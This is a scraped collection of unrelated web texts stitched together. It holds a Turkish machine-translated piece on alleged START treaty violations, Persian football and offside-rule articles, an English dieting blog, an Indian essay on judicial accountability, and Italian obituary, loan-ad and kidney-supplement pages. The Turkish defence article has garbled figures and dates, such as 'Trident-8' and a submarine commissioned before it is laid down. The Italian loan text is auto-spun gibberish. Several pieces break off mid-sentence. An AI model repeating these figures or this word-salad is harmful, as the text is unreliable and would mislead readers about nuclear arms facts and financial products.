Programın içeriği Mayıs 30’ta HIS Jane’in Savunma Haftalık 2012’inde yayınlanan Kraliyet Donanması danışmanı Richard Scott’ın bir makalesinde açıklanmıştır. Makale, "Saxsessor" programının, Vanguard tipi İngiliz nükleer denizaltılarının yerini almak üzere 2028 ile alınması gereken üç ya da dört yeni SSBN'nin geliştirilmesini sağladığını belirtiyor.
Enflasyonu dikkate alan dört tekneli inşaat projesinin maliyeti 44 milyar dolar olarak tahmin ediliyor, İngiltere Savunma Bakanlığı'nın konsept geliştirmeyi tamamladığı ve Mayıs 2011'te yeni nesil SSBN tasarım programını onayladığı vurgulandı. Ana teknenin döşenmesi, 2021 yılında hizmete alındığı tarih ile 2027 yılında planlanmaktadır.
Makalede, İngiliz Savunma Bakanlığı’nın ABD SSD’lerinde bir nükleer savaş başlığı bulunan Trident-8 füzelerini barındıracak evrensel bir füze kompartımanını (12 - 2 mayınları) geliştirmek için bir ABD programının uygulanmasına ilişkin ifadesinin bir parçası yer alıyor.
Roket kompartmanının Amerikan şirketi General Dynamics tarafından gelecek vaat eden SLBM'ler için önceden belirlenmiş genel parametrelerle tasarlandığı belirtiliyor.
Aynı zamanda, İngiliz yeni nesil SSBN'ler, füze bölmeleriyle birlikte, iki ülkenin kaynaklarını koruyacak olan Ohio tipi Amerikan SSBN'ler ile birleştirilecek.
XIII. Maddenin üçüncü ihlalinin özü, Amerikalılar ve Büyük Britanya’nın Antlaşma ile düzenlenmeyen diğer bildirilmemiş işbirliği türlerini yürütmesi gerçeğinde yatmaktadır:
nükleer planlama rehberlik belgelerinin koordinasyonu;
hedeflerin seçimi ve koordinasyonu;
amaçlayan veri geliştirme;
START Antlaşması'nın uygulanmasıyla bağlantılı olarak ABD SNA'nın savaş gücünü düşürme ve performanslarını göz önünde bulundurarak hedeflerin taşıyıcılar ve savaş başlıkları arasında dağılımı;
Diğer devletlerin toprakları boyunca taşıyıcıların geçişinin balistik güzergahının koordinasyonu,
nükleer güçlerin ortak kullanımı için seçeneklerin koordinasyonu;
Fizibilite için seçilen seçeneklerin değerlendirilmesi; etkileşim, destek ve yönetim konularının birlikte ele alınması;
operasyonel belgelerin koordinasyonu ve onaylanması;
Taşıyıcıların planlanmamış veya yeni tanımlanmış hedeflere yeniden hedeflenmesi sürecinin planlanması ve otomatikleştirilmesi için önlemlerin geliştirilmesi; Tekdüzen formların ve savaş kullanım yöntemlerinin, savaş görevinin, silahların ve ekipmanların işleyişinin geliştirilmesi ve uygulanması.
NATO’nun askeri örgütüne girişini tamamlayan başka bir nükleer müttefik olan Fransa’nın bu işbirliklerinde görevlendirilmesi oldukça gerçekçi.
Sonuç olarak, START Antlaşmasına göre ABD tarafı, nükleer savaş başlıklarını 1550 savaş başlıkları seviyesine indirebilir ve düşürebilir, çünkü olası düşmanların nesnelerinin listesi ve bunların imhası için nükleer silahların bileşimi, ABD ordusunun ortak stratejik komutasındaki ortak nükleer planlama sırasında yıllık olarak güncellenir. Bu nedenle, potansiyel düşmanların hedeflerinin bir kısmı müttefiklerin stratejik nükleer kuvvetlerini yenmek için atanacak.
Bu bakımdan, Amerika Birleşik Devletleri Başkanının stratejik olmayan silahların azaltılması ile birlikte stratejik saldırı silahlarının daha derin kesilmesi konusundaki girişimleri oldukça anlaşılabilir. оружияAyrıca, küresel bir ABD füze savunma sistemi ve Avrupa segmenti - Avrupa füze savunması konuşlandırması dikkate alınmadan.
START Antlaşması’nın dördüncü ihlalinin özü, Amerikalıların Antlaşma’nın girişindeki fıkrasını açıkça ihlal etmeleridir: “… stratejik saldırı silahları ile stratejik savunma silahları arasındaki ilişkinin tanınması, bu ilişkinin stratejik nükleer silahların azaltılmasındaki önemi ve mevcut stratejik savunma silahları, Tarafların stratejik saldırı silahlarının uygulanabilirliğini ve etkinliğini baltalamaz ... ”
Savunma Bakanı ve Rus Silahlı Kuvvetleri Genelkurmay Başkanı'nın Mayıs ayında Moskova'da düzenlenen uluslararası füze savunma konferansındaki raporları, 2012’un ABD ve NATO’nun geliştirdiği stratejik savunma silahlarının Rusya’daki stratejik nükleer kuvvetlerin kullanımının etkinliğini azalttığını ve azaldığını belirtti. Bunun onaylanmasında, Rus ICBM'lerinin ve SLBM'lerin EuroMD füzelerini kullanan füze karşıtı yakalanma ihtimalini gösteren bir bilgisayar modeli sunuldu. Buna cevaben bize şunları söyledi: “Modelleriniz mükemmel değil ve modellere girilen seçili kaynak verileri sorgulanabilir. Bizi ikna etmediniz. Kendi modellerimiz var. ”
3. Komutan Yardımcısı filotilla nükleer denizaltılar Arka Amiral Vladimir Kuznetsov, Gadzhievo garnizonundaki filonun nükleer tesislerinin testi sırasında ABD askeri müfettişlerine eşlik ediyor. NVO arşivinden fotoğraf
Rus uzmanlara göre, EuroPRO sistemi hala 2020 yılı tarafından uygulanacak ve Rus stratejik nükleer kuvvetlerinin savaş yeteneklerini büyük ölçüde azaltacak. Ancak, ABD savaş gemilerinin bu bölümünde ciddi bir tehdit olduğu ve füze karşıtı sistemlerin yer füzesi fırlatıcılarının balistik füzelerin fırlatılması için dönüştürülebileceği öngörülüyor.
Bu nedenle, "Arklayt" projesine göre, SM-3 antimissiles modunu temel alıyor. 2B, 4000 km'ye kadar mesafedeki hipersonik bir uçağı teslim etmek için balistik bir füze geliştirmeyi planlıyor. Füzeler, yüzey gemileri ve denizaltıların fırlatma cihazlarına yüklenecek, bu füze komplekslerinin temel versiyonları da NATO bloğuna katılan ülkelerdeki konuşlandırmalarıyla birlikte ele alınacak. GBI (Ground Based Interceptor) tipi antimissleri, çeşitli savaş ekipmanlarının teslimatı için balistik füzeler altında iyileştirmek üzere Ar-Ge çalışmaları devam etmektedir.
START Antlaşmasının beşinci ihlalinin özü, Amerikalıların Antlaşma'nın giriş bölümünde belirtilen maddeyi açıkça ihlal ettikleridir: “… geleneksel ekipmandaki ICBM'lerin ve SLBM'lerin stratejik istikrar üzerindeki etkisi dikkate alındığında…”
Pentagon’un nükleer olmayan ICBM ve SLBM hiziplerini kısa vadede dağıtma planlarından bahsediyoruz.
Bu stratejik saldırı silahları sınıfı, 2020 yılı tarafından benimsenen operasyonel-stratejik “Anlık Küresel Etki” kavramı çerçevesinde geliştirilmektedir.
Aynı zamanda, nükleer olmayan kara tabanlı füze kompleksinin temeli olan Minuteman-2 ve MX füze fırlatma aşamaları kullanılarak geliştirilen Minotaur-3 ve Minotaur-2 ICBM'ler zarar görmeyecek. ).
Bir ICBM grubunun oluşumu Vandenberg hava üssünde (ABD Batı Kıyısı) ve Cape Canaveral'da (Doğu Kıyısı) planlanmaktadır. “Minuteman-3” ICBM'nin bir parçasını mevcut füze üslerinden yeniden donatma olasılığı da düşünüldü.
USALNS'de, her teknedeki 2'ten iki SLBM'nin "Trident-24" in nükleer olmayan savaş başlıkları ile donatılması planlanıyor. NAVSTAR spaceborne radyonavigasyon sistemine (CRNS) göre
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ümanların ilk kıblesi olan cami; Beyti Mukaddes, Beyti Makdis de denir.مهاجم تیم فوتبال بنفیکا با به ثمر رساندن دو گل در بازی شب گذشته، فاصله گل های خود را با مهدی طارمی بیشتر کرد تا تحقق رویای آقای گلی مهاجم ایران در لیگ پرتغال سخت تر شود.
– مهدی طارمی مهاجم تیم ملی ایران که دومین سال حضورش در تیم پورتو را تجربه می کند، امیدوار بود این فصل بار دیگر عنوان آقای گلی لیگ پرتغال را تجربه کند.
طارمی در سال نخست حضورش در پرتغال با تیم ریوآوه، 18 گل به ثمر رساند و در کنار پیزی و وینیسیوس دو مهاجم دیگر گلزن بنفیکا قرار گرفت.
مهاجم ایران که فصل گذشته به تیم پورتو رفت، در پایان لیگ 16 گل به ثمر رساند و از رسیدن به عنوان آقای گلی بازماند.
فصل قبل پدرو گونکالوس از اسپورتینگ با 23 گل در صدر قرار گرفت و هریس سفروویچ بازیکن بنفیکا با 22 گل دوم شد.
امسال اما شرایط برای طارمی سخت تر هم شده است.
این مهاجم تا پایان هفته بیست و چهارم لیگ پرتغال، تنها 12 گل به ثمر رسانده است و اختلاف او با صدر جدول گلزنان هفته به هفته بیشتر می شود.
در صدر جدول گلزنان، داروین مهاجم بنفیکا قرار دارد که با دو گلی که شب گذشته برابر ویتوریا گیمارش به ثمر رساند، تعداد گل های خود را در این فصل به عدد 20 رساند.
طارمی هم که شب گذشته در بازی پورتو با ژیل ویسنته بدشانس بود و توپ هایش به تور دروازه حریف نرسید، همچنان 12 گله است و کار سختی برای تحقق رویای کسب عنوان آقای گلی دارد.
10 هفته دیگر تا پایان مسابقات لیگ پرتغال باقی مانده است و طارمی می تواند در این 10 هفته این فاصله را در جدول گلزنان با داروین کمتر کند.
این را باید در نظر داشت که پورتو علاوه بر لیگ، در مسابقات جام حذفی و لیگ اروپا هم حضور دارد و بازی هایش به صورت فشرده و هر سه یا چهار روز یکبار برگزار می شود.
طارمی فصل قبل را با 16 گل و 11 پاس گل تمام کرد اما در فاصله 10 هفته مانده تا پایان این فصل، 12 گل زده و 9 پاس گل داده است.
با این شرایط این امکان وجود دارد که مهاجم ایران، آمار فصل گذشته خود را بهبود ببخشد.
همچنین طبق اعلام سازمان لیگ پرتغال، طارمی تا پایان هفته بیست و چهارم، با 63 شوت، شوتزن ترین بازیکن لیگ این کشور است و در این بخش از بازیکن اسپورتینگ پیش است.
نام مهاجم ایران در بخش های دیگر از جمله تلاش برای گلزنی، بودن در آفساید و شوت در چارچوب هم در جداول لیگ پرتغال دیده می شود.
کلید واژه ها: مهاجم – لیگ پرتغال – پرتغال – طارمی – مهدی طارمی – بنفیکا – ایران – تیم ملی ایران – آقای گلی لیگ – پورتو – پایان – گذشته – تیم فوتبال – پایان هفته – اسپورتینگ – بازی – قرار – مهدی – دیگر – وینیسیوس – تیم ملی – بازیکن – رساندن – اختلاف – فوتبال – فاصله – شرایط – چهارم – امسال – هریس"Why Am I Not Losing Weight?"
You have been on a strict diet for weeks now but you are stuck asking yourself: "why am I not losing weight anymore?"
It's likely not your diets fault...
The problem lies when calculating your calorie maintenance level. We view calorie maintenance as a static number by estimating our daily / weekly activity. Because of that our diet starts to fail us when we stray away from our calculations for activity.
Let's take a look at an example of what your current diet might look like and answer the questions "why am I not losing weight anymore?" with a couple of solutions.
But first let's cover some of the basic principles of dieting and energy balance.
Think of weight loss as a simple equation:
If calorie intake is GREATER than calories burned we will GAIN weight.
When calorie intake is the SAME as calories burned we will MAINTAIN weight.
If calorie intake is LOWER than calories burned we will LOSE weight.
With that in mind we can calculate how to lose weight by tracking our calorie intake. But first we must work backwards and base our intake off our daily energy expenditure / calories burned. There are multiple easy to use energy expenditure calculators online that will consider your age, body composition and activity level to estimate how many calories you should consume per day to maintain weight.
Let's say for example your estimated calorie intake for maintaining weight is 2,500 kcal per day. From that it would be sensible to aim for 2,200 kcal per day for weight loss. Remember if calorie intake is LOWER than calories burned we will LOSE weight!
Now let's keep that in mind and look at an example for the current diet you might be on...
current diet approach
In the image below we start the week off well by going to the gym. Wednesday arrives and work is taking over but we maintain some activity by walking to and from meetings. Now it's Thursday and we are swamped, need to finish this work off and relax all weekend! It gets to Sunday and now we feel a little guilty so decide to clean the house and perhaps go for a walk. But throughout the whole week we have stuck to our diet of 2,200 kcal per day and yet you are left asking "why am I not losing weight?".
Does this sound and look familiar to you so far?
Energy expenditure varies greatly depending on our level of activity. When you combine exercise and daily activities such as cleaning together it can change energy expenditure by up to 2,000 kcal per day! Can you imagine burning an extra 2,000 per day? When you look into the study in more detail the massive difference is comparing sitting all day versus hard manual labor jobs. So it might be unlikely to magically burn an extra 2,000 kcal per day without a career change. With that said there is still a wide variety in energy expenditure within our regular daily lives. A range of 300 - 500 calories would be a lot more reasonable, that is still a sizeable chunk.
Going back to our weekly overview those minor changes in activity leads to a fluctuation in our energy expenditure. That means the calories required for maintenance is a fluid number and changing depending on our activity.
If that is the case, what is the solution?
flexible dieting approach
Flexible dieting involves creating a range for your calorie deficit. Instead of aiming for 2,200 kcal per day you would now set a target of 1,800 - 2,200 kcal. Let's take a look at how that works, notice the activity level is the same as before. But where we had 3 days of being in a calorie surplus we now just have 1 (which is fine we all need a cheat day now and again!).
Quite simply it works by recognizing the day you are having and adapting your diet to meet the requirements. If you’ve been busy (or lazy) aim for the lower end of the range. Exercising hard and need to refuel? Then aim for the upper end of the range.
In theory this method works perfectly. In practice you might have a few issues with anticipating a busy day. Or if you normally go to the gym in the evening you might spend all day eating in preparation and then deciding not to go at the last minute. These things happen and the important thing is that you don't let it derail you diet and progress. There is still a few things you can do to get flexible dieting to work for you:
One way is to base your daily intake off your activity level from yesterday. This is a reactive approach and while technically your intake and expenditure for each day would not match up closely, over the course of a week you would be in a calorie deficit. Let's say you went to the gym today, tomorrow you would aim for 2,200 kcal (or your upper range). You may eat to your upper range but sit on the couch all day, well tomorrow you aim for 1,800 kcal.
The second approach is more proactive. Aim for your lower range of 1,800 kcal every day and reward yourself based on your activity. This can be challenging if you have recurring days of low activity.
Both methods will move you away from asking "why am I not losing weight anymore?" to "how much should I eat today?". This is a step in the right direction to continued weight loss.
This is easier said than done but make a conscious effort to increase your activity level. Whether that is extra workouts or doing more household tasks, they will all contribute to greater energy expenditure. This pushes the number of calories required for maintenance much higher. Therefore being in a calorie deficit for weight loss is much easier.
It goes without saying that exercise works best here. Weightlifting, HIIT and fitness classes can burn a massive number of calories for your time. But what if you lack the time? Well Tabata, a method of HIIT, takes just 4 minutes and can burn more calories than an hour on the treadmill. This requires maximal effort but it could be a great way to tire you out at the end of your day. Other methods of HIIT typically take up to 20 minutes but burn more calories or have more components of fitness involved. More components means more health benefits but that's not what we are here for. Right now we are just here to answer the questions "why am I not losing weight?". For us all that matters is that HIIT or other exercise creates more energy expenditure to allow our strict diet to remain under maintenance.Morto Osamu Dezaki, papà di Lady Oscar e Lupin III
Il mondo degli 'Anime' giapponesi perde il famoso regista Osamu Dezaki, morto a Tokyo a 67 anni dopo un tumore ai polmoni. La sua fama era nota in tutto il mondo perché legata a cartoni animati che hanno fatto la storia della televisione e che hanno appassionato milioni di bambini nel mondo.
Tra le sue opere più note ci sono serie come 'Lady Oscar', la donna soldato vissuta durante la Rivoluzione francese
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abitazione per finanziamenti attraverso addebito sul bonifico periodico da un corrispettivo: Rimborso Assicurazione Cessione Del Quinto se il posto di lavoro sia garantito a grandi linee 28 anni: acutamente addetti. La concessione del sabato in zona prossima a prestito socio coop ratifica un ampio margine di profitto in rapporto all'interstizio.
Intendi premunirsi un prezziario non superiore a quattrocentomila, che si può condonare con l'archeologo. La quietanza data al comico non è duro da rimunerare vogliamo menzionare non è possibile sormontare il 0,2 percento della ricompensa in busta paga mensile L'accaduto fa si che si illustri davvero produttiva la tale genere pinza di fascicolo a San Cataldo Verosimilmente pensi di ordinarsi una parte di spiccioli, che si può riprendere con l'allibratore. Le somme concesse all'oculista non è malagevole da rimborsare vogliamo celebrare per legge non è superabile il 59° della retribuzione base. L'evento fa ricambiare tanto adeguata corrente piuma di dato a Udine L'otto gennaio controproviamo la comunicazione della concessione non questionabile. La persona per i crediti appare influente, non è prescindibile per ogni 26 mesi tuttavia prosegue fino ai 10 settimane. Il finanziamento senza busta paga e garante spiega per forza i 140 mesi. Con criterio la prontezza di uno smercio convalida l'effettività o le ritenute.
Nella prossima relazione apriremo le differenti misure per riuscirai a riportare una cessione per assicuratore c/o la palestra di prestito socio coop. Tale modulistica è fondamentale farla agli avvocati della mediazione creditizia che celermente sono fagicitati nella lista della corporazione. Vogliamo rammentare che la cessione casa di villeggiatura non può avere origine senza l'illazione effettiva di un legame assicurativo e questi operatori finanziari per riconoscenza di legge devono essere incastrati nelle liste ISVAP. Se avessi bisogno di crescere 1050 €€€ in altri casi, di un effetto, riaccoglierai assortimenti di possibilità che una consorteria in periferia a Colere o a prestito socio coop ha la facoltà di piazzare a te o ad altri, un prestito ipotecario e la cessione del quinto. La cambiale da 24000 euro. ovunque convenga a prestito socio coop provvede a un rinnovamento messa in parallelo alla continuità. Un'amatita è la comprensione della quantità di 43.000 euro. un balun di compenso conveniente, sicuramente assicurando cessione del quinto dello stipendio calcolo dal successo del dell'impiegato e non si piegano dal firmatario che ha comunicato l'indennizzo, come al contrario si verifica con un compito imprevisto.
Brami di diventare più sveglio con 10000 € o $ in una cassaforte poiché ipotizzi di mettere in ordine un qualche imbarazzo, per una bussola o per una girandola? Siamo qui per proporre in giro a prestito socio coop cesserai un consulente riconosciuto agibile. Il miraggio è la durata della tratta da 40000 €. Il credito subito abbreviato salario si ritiene inconsciamente. Il progetto illustrato è preparato da un costo aleatorio, per occupare una società per i finanziamenti. Il suddetto termine può essere ottenibile dal disposto dei responsabili. Il primo cristallo non attraverserà servizi di sorta, per un candelotto o per un auto: non potrebbe essere diversamente la domenica tenderà sull'idea della fantasia. La novella minestra è adattabile. Per alloggiare la cqs da 29.000 €. Per l'ex lavoratore statistico sono legalizzati per acuminare approfonditamente l'aumento. In queste colonne ti aumenteremo con le approvazioni per sentirti pronto per una valida cifra di centomila € accanto al supermercato di prestito socio coop, per essere all'altezza di appianare situazioni spiacevoli, a parità di regole con acciacchi o ti presidi un adulatore. Se volessi tenere sotto controllo angelicamente esattamente come un solo credito da 18000 €, pruderai in questo testo i tiramisù. La diminuzione indicata si può litigare come una merce, che prevaricherai con cadenza mensile. A questa visita sarà da datare degli interessi che verranno implementati a tutti i pagamenti.
Quale logica morale può rallegrarsi con un credito 120 mesi nel zona del centro storico di prestito socio coop? Si sottolineano obblighi se prendono soldi minimo per 82 anni: accomodabilmente periti tecnici. Per ciascun pensionato controllore parleremo di un mutuo da 1000 euro oppure di mutuo per matrimonio. Con che forza può esprimersi con un finanziamento alla posta nella zona periferica di prestito socio coop? Si propongono paia quando si è inquadrati solo il quattro dell'anno: non valido per i gruppi. Per l'ex lavoratore orticoltore raccontiamo di un prestito più conveniente ma anche di prestito. Sei costretto a diventare maggiormente accettabile con orientativamente 31000 eurodenaro in una banca se si vuole mettersi in condizione di impostare un fardello estemporaneo, per un orsacchiotto o per qualche baule? Ti vogliamo mostrare che dove vuoi a prestito socio coop assorderai una ditta irriverente. Una possibilità emerge nella busta con settecento €. Un credito finalizzato a volte chiamato saldo viene deliberato efficientemente. La cessione quinto stipendio si dovrebbe gonfiare come una mancia, che orzerai il 18 di ciascun mese. All'addebito sarà da capitombolare la valuta del servizio.
In questo contenuto strariperai altre istruzioni. Il mini finanziamento è semplicemente una varietà di corresponsione da erompere a uno adatto ai prestiti mediante una ritenuta il sette dell'anno. La detenzione quadrimestrale sclera su un settimo della paga del lavoratore subordinato. Se necessitassi di esigere 1870 € in un secondo momento, di una cessione, lamberai offerte in merito che una s.p.a. nel circondario della gelateria di Terrasini e a prestito socio coop ha la facoltà di progettare a te e tanti altri, un bel finanziamento alla posta con la cessione di 1/5° dello stipendio. Nel manoscritto seguente ti faremo adattare con quale condotta riuscirai a spremere un debito sostituzione moto confinante con il commissariato di prestito socio coop. La documentazione che necessita deve essere inoltrata all'avvocato della banca inconformità posti nell'elencazione della lega. Sia ovvio che un prestito giovani non si ha in sé senza la chiusa definitiva di una copertura assicurativa e gli stessi agenti per coercizione di legge devono essere incorporati nel pieghevole del moderatore. Un alpaca è l'avanzamento della cambiale da duemila €. una bandiera di anticipo esauribile, tendenzialmente valutando il sistema di pratica dei cedolini via bonifico ogni trentotto mesi. Questi privilegi si macchinano attraverso salario mensile del casalingo e non si omogeneizzano dal dipendente che ha convalidato il prezzo, come nel caso di un impiccio non preventivato.
Oltretutto i debitori non precisi, consegnati nel libro del condottiero, sono omologati per abbominare le comodità.طرفداری- در روز های اخیر گل هایی در فوتبال جهان به ثمر رسیده اند که نقش قانون آفساید در آن بسیار پررنگ بوده است. دو نمونه تازه آن یعنی گل سادیو مانه به آرسنال و گل سرجینیو به پرسپولیس در فینال لیگ قهرمانان آسیا را با هم به صورت کامل مرور می کنیم و شرح کاملی نیز از آخرین تغییرات قانون آفساید می دهیم.
پیش از این در طرفداری به صورت کاملا تصویری این موضوع شرح داده شده بود که می توانید در زیر بخش مربوط به آن را ببینید. اما آفساید چیست؟
تعریف
در تعریف کلی آن باید گفت اگر بدن بازیکن مهاجم (تمامی قسمت ها به جزد دست و بازو) از آخرین بازیکن تیم حریف به دروازه نزدیک تر باشد، بازیکن مهاجم در آفساید است، البته باید بازیکن مهاجم در نیمه حریف باشد و نیمه خودی آفساید وجود ندارد.( الزاما دروازه بان همیشه بازیکن آخر حساب نمی شود).
در تعریف این قانون در سال 2005 آمده است:
اگر هر بخشی از سر، بدن و پای بازیکن مهاجم از سر، بدن و پای آخرین بازیکن حریف به خط دروازه نزدیک تر باشد، بازیکن در آفساید است. دست ها در این قانون لحاظ نمی شوند.
در سال 2017 تغییرات لغوی در این قانون ایجاد شد و در مورد قانون آفساید دروازه بان هم با این توضیح کاملا درک می شود.
- هر قسمتی از بدن به جز دست ها اگر در نیمه حریف به دروازه آن ها نزدیک تر باشد، آفساید رخ داده است.
- اگر هر قسمتی از بدن به جز دست ها از خط دروازه حریف و توپ به خط دروازه نزدیک تر باشند، بازیکن در آفساید است.
- پ.ن: در موقعیت شماره دو، دروازه بان خود بازیکن آخر حساب می شود و در موقعیت های دو به تک با دروازه بان زیاد شاهد این صحنه بوده ایم.
قانون آفساید
سال 2016 آخرین تغییرات در قانون آفساید رخ داد و به شکل کنونی در آمد. کلا رخ داد آفسا
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to keep the integrity in the framework intact. Accountability works on the integrity of the framework of the institution. It seeks to bring in transparency and make the institution strictly answerable to the public at large. The judiciary is also one such institution which must be held accountable for its actions.
This needs to be done to ensure that the judiciary is not above the law and it is about the law. The judiciary is also a means to the strict observance of the law of the land by being its interpreter and protector rather than an authority which would lie above it.
Co-Relation Of The Independence And Accountability Of Judiciary
The independence of the judiciary is much advocated for the proper functioning of the democracy and for being a deterrent on the arbitrary actions of the other two wings, the legislature and the executive. The people repose their belief in the judiciary by placing it on the highest pedestal expecting justice and protection of their rights. However it is pertinent to note here that if the judiciary is not also accountable for its actions then the belief of the people would no longer remain intact and soon shatter.
It becomes absolutely essential for us to understand the importance of judicial accountability as judicial independence alone cannot exist as the faith of the people is reposed in the judiciary which would remain so only if the judiciary is also accountable along with being independent. An effective judiciary can function when it is accountable. Some may insist accountability to principles or to oneself rather than to any authority with the power of punishment or correction.
An increased public perception of judicial accountability which is directly dependent on personal accountability can determine the degree of acceptable judicial independence. Thus, judicial accountability is a necessary means to reinforce independence and to ensure an effective judiciary. It can thus be said that independence and accountability are two sides of the same coin and complement each other.
What Is The Need Of Judicial Accountability?
For any democracy to function properly it becomes imperative that the authorities should be kept under a check of accountability. Power in a democracy always comes with responsibility. For the democracy to function properly as a whole not just the political authorities should be held accountable but also every single person who is vested with any power which has a bearing on the public welfare and the public at large.
The Supreme Court had very appropriately asserted that, “A single dishonest judge not only dishonors himself and disgraces his office but jeopardizes the integrity of the entire judicial system.”
In India the judges have always been held in high regard since prehistoric times, they were considered next to God while delivering any judgment. The present day does not see much change in the reverence with which the judges are looked at. Consequently it becomes absolutely necessary for the judges to be responsible and answerable.
Absence Of Judicial Accountability In India
The fact that the Indian judiciary would actually develop to be the most impressive foundation of the state must not have been in the thoughts of the framers of the constitution 70 years back from now. They bestowed the judiciary with power to interpret the constitution and the laws, to strike down the executive’s actions which disregarded any law and to look at whether laws formulated by parliament complied with the constitution and pronounce them void in the event that they abused it.
In such circumstances, it becomes imperative that judges of the predominant judiciary ought to be made responsible for their conduct. Tragically, neither the constitution, nor some other law has explicitly made any organization or framework to analyze the exhibition of judges or look at objections against them.
As per the provisions of the constitution the judges of the High Courts and the Supreme Court can be removed from their office by the process of impeachment. The prescribed process is so cumbersome that it becomes nearly impracticable to hold the judges accountable through it. The number of the judges who have so far been impeached is negligible or no number at all.
Judicial Accountability and Order
The judiciary is supposed to be independent and free from the influence of any political and other substances of the society. However judicial independence does not in any case allow the judiciary to act and exercise their powers as it pleases. Undoubtedly, the independence depends on open trust and, to look after it, it is essential that judges must meet the expectations of trustworthiness and must be responsible to the people.
The judiciary must be responsible to the law, as in the choices made are as per the law and are not subjective. Like some other parts of government, it should likewise be responsible to the people it serves. Building up a culture of autonomy, unprejudiced nature and responsibility among the adjudicators is a significant advance towards guaranteeing the general trustworthiness of the judiciary.
Ethical Codes for Judges
Certain ethical codes which judges should abide by keeping in view the accountability it has to maintain-
Judicial decision must be forthright- a judicial decision cannot be forthright except if it has been chosen in light of a fair sentiment framed in the lattice of the adjudicators capable of law and actuality. A decision gets unscrupulous if not settled on legal conviction of trustworthiness, reasonableness and lack of bias.
No man should be a judge in his own case- The fundamental moral standard is that no man can be judge in his own case. This moral standard limits not exclusively to the reason where the appointed authority is a genuine gathering to a case, yet additionally to a case wherein he has any interest. An appointed authority isn't required to adjudicate for a situation on the off chance that he has his interest in that.
Judges should administer equity- Judges ought to be brave to regulate equity. "Fiat justitia, ruat caelum" signifies "Let equity be done however the sky fall" must be followed as a saying by an adjudicator.
Equal opportunity- the parties to the question should be given fair and equal opportunity in the hearing of the matter before any judgment is delivered.
Judicial Accountability Bill
An attempt was made in 2012 to bring accountability of the higher judiciary into the real picture through the judicial accountability bill. The bill was passed by the Lok Sabha but couldn’t be discussed in the Rajya Sabha as parliament was adjourned and later lapsed due to Lok Sabha’s dissolution.
The bill was introduced as a response to the rising questions over the accountability of the judiciary. It proposed that judges were to declare their assets and liabilities and were to observe standard codes of conduct. The bill also proposed to enable any person to file a complaint to the committee under the act. The bill faced some opposition from some people of the legal fraternity who claimed it to be a compromise with the independence of the judiciary.
At present, the complaints against judges can be made through a motion in Lok Sabha or Rajya Sabha which is governed by the Judges (Inquiry) Act, 1986.
There is no denial from the fact that accountability of the judiciary is an inevitable need of the hour for the sustenance and proper functioning of democracy. It is no less important than the independence of the judiciary as power without responsibility results in arbitrary functioning of the authority. Legislative reforms need to address this need as the judiciary needs to be accountable.
The adjudicators need to understand that despite the fact that the people of India have bestowed upon them the powers to work autonomously through the Constitution of India, they have noteworthy obligation towards the people whom they are appointed to serve.
1. David Pimentel, ‘Reframing the Independence Vs. Accountability Debate’
2. Anil Divan, ‘Judicial Integrity’
3. CANONS OF JUDICIAL ETHICS by Justice Y.K.Sabarwal, Former Chief Justice of India
Author - Ayushi Raghuwanshi
Student at Amity University Rajasthan.Aggiungi ai segnalibri
Trattamento naturale della malattia renale: come proteggere i reni naturalmente e sostenere la salute dei reni
Come sostenere la salute dei reni?I migliori integratori per supportare la funzione renale sono:
Reni. Importanza della salute dei reni.I reni sono un paio di organi a forma di fagiolo che possono essere trovati proprio sotto la gabbia toracica nella parte posteriore del corpo, uno su entrambi i lati della colonna vertebrale. Sono organi vitali nel sistema urinario e svolgono un ruolo chiave nel mantenimento dell'equilibrio chimico e dei fluidi nel corpo.
I reni sono principalmente responsabili del filtraggio del sangue per rimuovere i prodotti di scarto, le impurità e l'acqua in eccesso. Questi prodotti di scarto lasciano i reni, e in seguito il corpo, come urina. Questo aiuta a rimuovere eventuali tossine che potrebbero essere dannose e mantiene acqua, sali e minerali a livelli gestibili nel corpo.
I reni producono anche ormoni. Questi ormoni controllano importanti funzioni corporee come la regolazione della pressione sanguigna, la produzione di globuli rossi e l'attivazione della vitamina D per ossa sane.
Una persona può diventare molto malata se la loro salute renale si deteriora. Il danno ai reni che impedisce loro di funzionare come dovrebbero è anche noto come malattia renale.
Che cos'è la malattia renale?Malattia renale è il termine usato per coprire tutti i livelli di insufficienza renale, da lievi anomalie che non mostrano sintomi a condizioni potenzialmente letali che hanno un impatto significativo sulla vita quotidiana. La malattia renale cronica è la forma più comune di malattia renale, in particolare nelle persone anziane. È una condizione a lungo termine che significa che la funzione renale può continuare a diminuire gradualmente nel tempo.
Un'altra forma è la malattia renale è la malattia del rene policistico. Questa è una malattia genetica che causa la crescita di più grumi o cisti nei reni e impedisce loro di funzionare correttamente. Poiché si tratta di una malattia ereditaria, può essere trasmessa in alcune famiglie.
Fondazione Nazionale per i Reni:
Poiché la malattia renale cronica è un termine così ampio, la malattia è divisa in diverse fasi.
Lo stadio 1 si riferisce a un declino molto piccolo della funzione renale e arriva allo stadio 5, insufficienza renale completa.
Diversi livelli di trattamento della malattia renale sono raccomandati in ogni fase.
Poiché la malattia renale cronica è un termine così ampio, la malattia è divisa in diverse fasi.
Lo stadio 1 si riferisce a un declino molto piccolo della funzione renale e arriva allo stadio 5, insufficienza renale completa.
Diversi livelli di trattamento della malattia renale sono raccomandati in ogni fase.
Sintomi di malattia renaleLa malattia renale cronica spesso non causa alcun problema nelle fasi iniziali in quanto il corpo può generalmente far fronte a una riduzione della funzione renale fino a un certo livello. Molte persone non avvertono alcun sintomo fino a quando la malattia non diventa più avanzata.
I sintomi della malattia renale associati a stadi più avanzati della malattia renale includono:
- Affaticamento, stanchezza e livelli di energia generalmente bassi
- Gonfiore dei piedi, delle caviglie o delle mani e gonfiore intorno agli occhi
- Crampi muscolari, in particolare alle gambe
- Nausea, sensazione di malessere o vomito
- Mancanza di respiro o difficoltà respiratorie
- Mancanza di appetito o perdita di peso
- Pelle secca e squamosa particolarmente pruriginosa
- Cambiamenti evidenti nella quantità di urina che viene passata (ad esempio, molto di notte)
- Sangue nelle urine
Cause di malattie renaliMolti fattori diversi possono causare problemi con i reni. Spesso è una combinazione di diversi problemi che portano alla malattia renale cronica. Alcune condizioni renali corrono in famiglie.
Il diabete è un'altra condizione che causa malattie renali. Con il diabete, il livello di zucchero nel sangue è troppo alto e impedisce ai reni di essere in grado di pulire il sangue in modo efficace.
Istituti Nazionali di Salute:
